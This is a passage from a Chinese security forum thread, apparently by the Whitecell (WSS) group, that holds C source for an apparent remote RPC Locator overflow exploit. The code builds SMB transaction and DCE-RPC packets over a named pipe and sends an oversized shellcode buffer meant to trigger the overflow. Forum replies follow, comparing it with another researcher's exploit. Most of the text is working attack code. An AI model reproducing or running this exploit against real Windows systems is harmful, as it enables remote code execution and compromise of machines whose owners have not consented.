RpcBind->Numsyntaxes = 0x1; UuidFromString((unsigned char *)"12345778-1234-ABCD-EF00-0123456789AB", &RpcBind->Abstract); RpcBind->AbstractVer = 0x4; UuidFromString((unsigned char *)"8A885D04-1CEB-11C9-9FE8-08002B104860", &RpcBind->Transfer); RpcBind->TransferVer = 0x2; memcpy(szBytes, SmbHeader, dwSize1); memcpy(szBytes + dwSize1, SmbTransaction, dwSize2); memcpy(szBytes + dwSize1 + dwSize2, SmbTrandata, dwSize5); memcpy(szBytes + dwSize1 + dwSize2 + dwSize5, szFileName, sizeof(szFileName)); memcpy(szBytes + dwSize1 + dwSize2 + dwSize5 + sizeof(szFileName), RpcHeader, dwSize3); memcpy(szBytes + dwSize1 + dwSize2 + dwSize3 + dwSize5 + sizeof(szFileName), RpcBind, dwSize4); i = send(csock, (char *)szBytes, dwSize, 0); if(i<0) { xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcBind); return 1; } memset(SmbHeader, 0, dwSize1); szBytes1 = new char[512]; if(!szBytes1) { xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcBind); return 1; } i = recv(csock, szBytes1, 512, 0); if(i <= 0) { xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcBind); delete [] szBytes1; return 1; } tmp = (char *)SmbHeader; SmbHeader = (SMB_HEADER *)szBytes1; if(SmbHeader->Status != 0) { SmbHeader = (SMB_HEADER *)tmp; xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcBind); delete [] szBytes1; return 1; } SmbHeader = (SMB_HEADER *)tmp; xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcBind); delete [] szBytes1; return 0; } // RPC查询,引发错误 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_Shellcode(SOCKET csock) { PSMB_HEADER SmbHeader; PSMB_TRANSACTION SmbTransaction; PRPC_HEADER RpcHeader; PRPC_REQUEST RpcRequest; PSMB_TRANDATA SmbTrandata; PCHAR szBytes; USHORT dwSize, dwSize1, dwSize2, dwSize3, dwSize4, dwSize5; char szFileName[] = "\0\\\0P\0I\0P\0E\0\\\0\0"; int i; for(i=0; i<800; i++)szShellcode[i] = 0x41; memcpy(szShellcode, szShellhead, 12); dwSize1 = sizeof(SMB_HEADER); dwSize2 = sizeof(SMB_TRANSACTION); dwSize3 = sizeof(RPC_HEADER); dwSize4 = sizeof(RPC_REQUEST); dwSize5 = sizeof(SMB_TRANDATA); dwSize = dwSize1 + dwSize2 + sizeof(szFileName) + dwSize3 + dwSize4 + dwSize5 + sizeof(szShellcode); SmbHeader = (SMB_HEADER *)xmalloc(dwSize1); SmbTransaction = (SMB_TRANSACTION *)xmalloc(dwSize2); RpcHeader = (RPC_HEADER *)xmalloc(dwSize3); RpcRequest = (RPC_REQUEST *)xmalloc(dwSize4); SmbTrandata = (SMB_TRANDATA *)xmalloc(dwSize5); szBytes = xmalloc(dwSize); if(!SmbHeader || !SmbTransaction || !SmbTrandata || !szBytes || !RpcHeader || !RpcRequest) return 1; SmbHeader->NBTHeader.s.packetFlags = 0; SmbHeader->NBTHeader.s.packetType = 0; SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4); SmbHeader->Protocol = SMBMAGICVAL; SmbHeader->Command = SMB_COM_TRANSACTION; SmbHeader->Status = 0; SmbHeader->Pid = Proc_ID; SmbHeader->Uid = User_ID; SmbHeader->Tid = Tree_ID; SmbHeader->Mid = Mult_ID; SmbHeader->Flags = 8; SmbHeader->Flags2 = 49153; SmbTransaction->WordCount = 16; SmbTransaction->TotalDataCount = 800; SmbTransaction->MaxDataCount = 800; SmbTransaction->ParameterOffset = dwSize1 + dwSize2 + dwSize5 + sizeof(szFileName) - 4; SmbTransaction->DataCount = 800; SmbTransaction->DataOffset = dwSize1 + dwSize2 + dwSize5 + sizeof(szFileName) - 4; SmbTransaction->SetupCount = 0x2; SmbTrandata->PipeFunc = 0x26; SmbTrandata->FileID = File_ID; SmbTrandata->ByteCount = dwSize3 + dwSize4 + sizeof(szFileName) + sizeof(szShellcode); RpcHeader->VersionMaj = 0x5; RpcHeader->VerisonMin = 0; RpcHeader->Type = 0x0; if(iNumber == 0) RpcHeader->Flags = 0x1; else RpcHeader->Flags = 0x0; RpcHeader->Rep = 0x10; RpcHeader->Fraglength = 800; RpcHeader->Authlen = 0x0; RpcHeader->Callid = 0x8D; RpcRequest->Hint = 0xA7C8 - iNumber*800; RpcRequest->Contextid = 0x0; RpcRequest->Opera = 0x0; memcpy(szBytes, SmbHeader, dwSize1); memcpy(szBytes + dwSize1, SmbTransaction, dwSize2); memcpy(szBytes + dwSize1 + dwSize2, SmbTrandata, dwSize5); memcpy(szBytes + dwSize1 + dwSize2 + dwSize5, szFileName, sizeof(szFileName)); memcpy(szBytes + dwSize1 + dwSize2 + dwSize5 + sizeof(szFileName), RpcHeader, dwSize3); memcpy(szBytes + dwSize1 + dwSize2 + dwSize3 + dwSize5 + sizeof(szFileName), RpcRequest, dwSize4); memcpy(szBytes + dwSize1 + dwSize2 + dwSize3 + dwSize4 + dwSize5 + sizeof(szFileName), szShellcode, sizeof(szShellcode)); i = send(csock, (char *)szBytes, dwSize, 0); if(i<0) { xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcRequest); return 1; } xfree(szBytes); xfree(SmbHeader); xfree(SmbTransaction); xfree(SmbTrandata); xfree(RpcHeader); xfree(RpcRequest); return 0; } 参考: Platform SDK Documentation http://www.immunitysec.com/downloads/plonk (Linux binary file) 关于我们: WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。 WSS 主页:http://www.whitecell.org/ |
B6层 发表时间: 05/17 00:16 |
回复: jnake [jnake] 论坛用户 | 登录 |
多写了softlib兄。紧记教导。 |
B7层 发表时间: 05/18 19:10 |
回复: fora [fora] 论坛用户 | 登录 |
sunx也写过一个RPC locator exploit “2003-04-07 真正远程的 Rpc Locator 溢出 以后别迷信老外水平一定很高, 其实Locator 溢出根本不需要UNICODE 的shellcode” 跟上面的是一样的吗? |
B8层 发表时间: 05/19 11:28 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号